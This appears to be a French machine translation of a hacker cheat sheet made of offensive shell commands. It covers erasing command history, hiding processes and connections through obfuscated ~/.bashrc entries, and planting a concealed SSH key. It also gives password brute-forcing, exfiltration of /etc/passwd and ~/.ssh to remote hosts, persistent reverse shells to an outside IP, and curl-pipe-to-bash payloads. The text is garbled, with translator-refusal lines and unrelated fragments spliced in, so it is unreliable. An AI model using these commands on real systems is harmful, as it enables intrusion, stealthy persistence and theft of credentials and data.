URL alternative :```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell fait bien plus, mais surtout ceci :```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Astuce bonus :
Toute commande commençant par un " " (espace) ne sera [pas enregistrée dans l'historique](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) non plus.```
$  id

Démarrez un 'nmap' en arrière-plan, caché sous '/usr/sbin/sshd' :```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Alternativement, copiez le binaire sous un nouveau nom :```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Masquez vos options de ligne de commande**

Utilisez [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Masquer une connexion réseau**

L'astuce consiste à détourner `netstat` et à utiliser grep pour filtrer notre connexion. Cet exemple filtre toute connexion sur le port 31337 _ou_ l'IP 1.2.3.4. Il faut faire de même pour `ss` (une alternative à netstat).

**Méthode 1 - Masquer une connexion avec une fonction bash dans ~/.bashrc**

Coupez et collez ceci pour ajouter la ligne à ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

L'entrée obfusquée dans ~/.bashrc ressemblera à ceci :```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(merci iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Masquer un processus en tant qu'utilisateur**

Poursuivant de « Cacher une connexion », la même technique peut être utilisée pour masquer un processus. Cet exemple masque le processus nmap et veille également à ce que notre `grep` n'apparaisse pas dans la liste des processus en le renommant en GREP :```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Pour masquer une commande, utilisez :```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(La même chose fonctionne pour `lsof`, `ss` et `ls`)

<a id="cat"></a>
**1.viii. Se cacher de cat**

Les caractères d'échappement ANSI ou un simple `\r` ([retour chariot](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) peuvent être utilisés pour se cacher de `cat` et autres.

Cacher la dernière commande (exemple : `id`) dans `~/.bashrc` :```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Ajouter un `\r` (retour chariot) aide beaucoup à cacher votre clé ssh de `cat` :```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` est utilisé pour remplacer le shell sous-jacent par le dernier processus (nmap). C'est facultatif mais réduit le nombre de binaires shell inutiles en cours d'exécution.
- `${SLOT}` contient une valeur entre 0 et 19. C'est le « numéro de tâche ». Nous l'utilisons pour écrire les résultats nmap dans 20 fichiers séparés.

Exécutez [Linpeas](https://github.com/carlospolop/PEASS-ng) sur tous les hôtes [gsocket](https://www.gsocket.io/deploy) en utilisant 40 workers :```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Profitez d'un confort total avec PTY et les couleurs : `xssh [email protected]` :```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Créez d'autres sessions shell en utilisant la même connexion Master-TCP (unique) ci-dessus (aucun mot de passe / authentification requis) :```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Vous ou n'importe qui d'autre pouvez désormais vous connecter à votre ordinateur sur le port 31337 et être tunnelé vers 1.2.3.4 port 80 et apparaître avec l'IP source de 'server.org'. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).

Les hackers ingénieux utilisent la combinaison de touches `~C` pour créer dynamiquement ces tunnels sans avoir à se reconnecter en SSH. (merci MessedeDegod).

Nous utilisons cela pour donner à un ami l'accès à une machine interne qui n'est pas sur l'Internet public :```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Maintenant, configurez votre navigateur pour utiliser SOCKS avec 127.0.0.1:1080. Tout votre trafic est désormais tunnelisé via *server.org* et apparaîtra avec l'adresse IP source de *server.org*. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).

Ceci est l'inverse de l'exemple ci-dessus. Cela donne à d'autres l'accès à votre réseau *local* ou permet à d'autres d'utiliser votre ordinateur comme point de terminaison de tunnel.```sh
ssh -g -R 1080 [email protected]

Utilisez ensuite cette commande depuis n'importe où dans le monde pour vous connecter en tant que « root » à « foobarblahblub » (l'hôte derrière le NAT) :```sh
ssh -J [email protected] root@foobarblahblub

> Nous n'exécutons `ssh` sur aucun ordinateur, sauf sur notre poste de travail de confiance - et vous ne le ferez jamais non plus.

C'est là que ProxyJump entre en jeu : nous pouvons « sauter » via les deux serveurs intermédiaires $C2 et $internal-jumphost (sans lancer de shell sur ces serveurs). La connexion ssh est chiffrée de bout en bout entre notre $local-kali et $target-host, et aucun mot de passe ni clé n'est exposé à $C2 ou $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

No content was provided for translation. Please supply the actual Markdown text for chunk 82 so it can be translated from English to French.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

I don't see any content to translate — the input after "INPUT:" is empty. There is no Markdown text, headings, or code blocks in this chunk. Since there is nothing to translate, I have nothing to output.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

En utilisant [bore.pub](https://github.com/ekzhang/bore) (gratuit) :```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

en utilisant [pinggy.io](https://www.pinggy.io) (60 minutes gratuites):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Either service will generate a new temporary HTTPS-URL for you to use.  

Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Redirigez le port 2222 vers le port 22 du serveur.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Plus : [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) et [Tunnel via Cloudflare vers n'importe quel service TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) et [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Faire rebondir le trafic avec iptables**

Faites rebondir le trafic à travers un hôte/routeur sans avoir à exécuter un proxy ou un forwarder en espace utilisateur :```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Nous utilisons cette astuce pour atteindre le gsocket-relay-network (ou TOR) depuis l'intérieur de réseaux protégés par des pare-feu.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Cela fonctionne également en combinaison avec :
 * [Serveurs ROOT de Segfault](https://thc.org/segfault/wireguard) : Connectera votre serveur ROOT au RÉSEAU CIBLE et utilisera une IP fantôme à l'intérieur du réseau cible.
 * [Tunnels QEMU](https://securelist.com/network-tunneling-with-qemu/111803/) : Comme ci-dessus, mais moins sécurisé.

---
<a id="tunnel-more"></a>
**3.vi.d Diverses astuces de tunnel**

### Tunnel via CDN
 * Lisez [Comment tunnéliser n'importe quel service TCP via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou utilisez [DarkFlare](https://github.com/doxx/darkflare).

### Connectez votre hôte directement au réseau distant
 * [WireTap](https://github.com/sandialabs/wiretap) - Fonctionne en tant qu'utilisateur ou root. Utilise UDP comme transport. ([Essayez-le](https://thc.org/segfault/wireguard) sur segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Utilise TCP comme transport. Fonctionne bien via [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) ou gs-netcat.

### Utiliser SSH comme proxy inverse économique via Cloudflare

Cette méthode est similaire aux [tunnels inverses HTTPS](#https) mais utilise SSH au lieu de Gost ou websocat.
- Avantage : Utilise uniquement *cloudflared* et *SSH* sur la cible.
- Inconvénient : Nécessite un abonnement CF.

 1. Allez dans votre tableau de bord CF -> Zero Trust -> Networks -> Tunnels
 2. Créez un nouveau tunnel 'Cloudflared' avec n'importe quel nom.
 3. Sélectionnez Debian et 64-bit. Le jeton n'est pas entièrement affiché. Extrayez le "Token" en copiant la zone grisée dans un document séparé pour révéler l'intégralité du jeton (les longues chaînes hexadécimales après `sudo cloudflared service install <TunnelTokenHere>`).
 4. Ajoutez un sous-domaine (l'exemple utilise `ssh.team-teso.net`).
 5. Définissez Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

pour également configurer le service pour chaque utilisateur créé, vous pouvez utiliser votre service de configuration avec le flag `-e` | `--every` : `credsman -e`

# Fournissez au service de configuration une liste d'utilisateurs (séparés par des sauts de ligne) via le flag `-i` | `--import`.

Ou vous pouvez fournir un seul utilisateur via le flag `-u` | `--username`.

# Exemple : `credsman -e -i /path/to/file.txt`

Ou `credsman -e -u test_user`

### Exécutable Unix```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Sur votre poste de travail :```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Utilisation de GrafTCP :```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Obtenez des informations de géolocalisation sur n'importe quelle adresse IP :```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Vérifiez si TOR fonctionne :```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Vérifier/Scanner les ports ouverts sur une adresse IP**

Service de recherche de ports [Censys](https://search.censys.io/) ou [Shodan](https://internetdb.shodan.io) :```shell
curl https://internetdb.shodan.io/1.1.1.1

Scanner les ports TCP ouverts:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Cracker les mots de passe**
 
 1. [NTLM2password](https://ntlm.pw/) pour cracker (rechercher) les mots de passe NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) pour cracker (rechercher) les mots de passe WPA PSK

HashCat est notre outil de référence pour tout le reste :```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Craquez les hachages `known_hosts` d'OpenSSH pour révéler l'adresse IP :```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Vous pouvez utiliser votre [propre nœud de sortie](https://www.thc.org/segfault/wireguard))

Outils :
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - idéal pour tester toutes les clés ssh sur une plage d'adresses IP cible.

Listes de noms d'utilisateur & de mots de passe :
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >FAVORI de THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Définissez la liste de **U**tilisateur/**M**ot de passe et l'**h**ôte cible.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Paramètres **Ncrack** utiles :```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

- Choisissez **Create new [profile-name] profile** et cliquez sur **OK**. Le navigateur basé sur Chromium s'ouvrira sur le profil et nous pourrons continuer.

  - Pour que Kape s'exécute avec succès, l'utilisateur doit accepter la fenêtre contextuelle **Download usage and crash reports**. Cliquez sur **Accept** et fermez le navigateur.

- Pour la section suivante qui nous demande d'ouvrir le profil, nous sélectionnons **Open existing [profile-name] profile**, et continuons avec l'exécution normale.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

## KubeHound - Identification des chemins d'attaque dans les clusters Kubernetes

- **Source :** https://github.com/DataDog/KubeHound
- **Changelog :** [Changelog](https://github.com/DataDog/KubeHound/blob/main/changelog.md)
- **Langage :** Go
- **Licence :** Apache-2.0

KubeHound est un outil de sécurité qui permet d'identifier les chemins d'attaque dans les clusters Kubernetes.

L'outil permet aux équipes de sécurité de répondre à deux questions principales :

- **Quels sont les risques les plus critiques dans mes clusters Kubernetes ?** — KubeHound analyse le cluster pour identifier les chemins d'attaque ouverts qui pourraient compromettre un cluster.
- **Mon cluster Kubernetes est-il sécurisé ?** — KubeHound utilise des vérifications de sécurité spécifiques pour rechercher des problèmes de sécurité.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

No content provided for translation.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

The input chunk is empty — no content was provided to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"

Vérifie si une organisation AWS existe```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

Veuillez fournir le contenu Markdown à traduire.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> UU encode/decode```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. Transfert de fichiers - en utilisant *tmux*

Démarrez `tmux` sur votre poste de travail. Connectez-vous à votre cible par les moyens de votre choix (ssh, gs-netcat, ...).

#### Du distant vers le local (téléchargement)

Utilisez [Tmux-Logging](#tmux) pour télécharger de gros fichiers depuis la cible via le terminal vers votre poste de travail.

#### Du local vers le distant (envoi)

Démarrez votre outil de décodage préféré (base64) sur le distant :```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. Transfert de fichiers - avec *screen*

#### De DISTANT à LOCAL (téléchargement)

Ayez un *screen* en cours d'exécution sur votre ordinateur local et connectez-vous au système distant depuis votre shell. Demandez à votre screen local de journaliser toute la sortie dans screen-xfer.txt :

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Nous utilisons *openssl* pour encoder nos données, mais toute méthode d'encodage ci-dessus fonctionne. Cette commande affichera les données encodées en base64 dans le terminal et *screen* écrira ces données dans *screen-xfer.txt* :```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### De LOCAL à REMOTE (téléversement)

Sur votre système local, encodez les données :```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Utilisez *screen* pour slurper les données encodées en base64 dans le presse-papiers de screen et collez les données du presse-papiers vers le système distant :

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Note : Deux CTRL-d sont nécessaires en raison d'un [bug dans openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transfert de fichier - via gs-netcat et sftp

Utilisez [gs-netcat](https://github.com/hackerschoice/gsocket) et encapsulez le protocole sftp à l'intérieur. Permet l'accès aux hôtes derrière NAT/Pare-feu.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Ou pour DUMP un seul fichier :```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Receiver: Accédez à l'URL depuis n'importe quel navigateur pour visualiser/télécharger le système de fichiers distant.

#### 1 - Téléversement via PHP :

Sur le récepteur :```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - Téléversement via PYTHON:

Sur le récepteur :```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. Téléchargement de fichier sans curl

Avec Python, téléchargez uniquement :```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

En utilisant OpenSSL, téléchargez uniquement :```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

En utilisant bash, téléchargez uniquement :```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

puis téléversez un fichier ou un répertoire :```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Expéditeur:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Expéditeur :```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Sur un autre serveur :```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Ou montez le partage WebDAV sous Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

Le texte source est vide : aucun contenu n’a été fourni après « INPUT: ». Merci de fournir le texte à traduire.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

Après la connexion, [améliorez](#reverse-shell-interactive) votre shell en un shell PTY entièrement interactif. Vous pouvez également utiliser [pwncat-cs](https://pwncat.org/) au lieu de netcat :```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Alternativement, sur le système distant, placez ceci dans le `~/.profile` ou la crontab pour redémarrer le shell connect-back (et empêche également le démarrage de plusieurs instances) :```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

### Outils connexes

- Consultez la [**documentation REMnux**](https://docs.remnux.org/)
- Travaillez sur l'**ensemble d'outils REMnux** en utilisant l'[environnement de développement basé sur Docker](https://docs.remnux.org/install-distros/remnux-as-a-container).
- Il existe divers autres outils d'analyse de malwares en ligne de commande qui peuvent être utiles pour l'analyse comportementale :
    - Outils **Joe Sandbox CLI** pour soumettre des échantillons à Joe Sandbox
    - Outils **VMRay CLI** pour interagir avec VMRay```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Variante si *'-e'* n'est pas pris en charge :```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Note: N'oubliez pas de `rm /tmp/.fio` après la connexion.

<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell avec remote.moe et ssh (chiffré)**

Il est possible de tunneler du TCP brut (par exemple un reverse shell bash) via [remote.moe](https://remote.moe) :

Sur votre poste de travail :```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

Sur la cible (alternative ; nécessite ssh, bash et mkfifo) :```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell avec Perl**```sh
# method 1
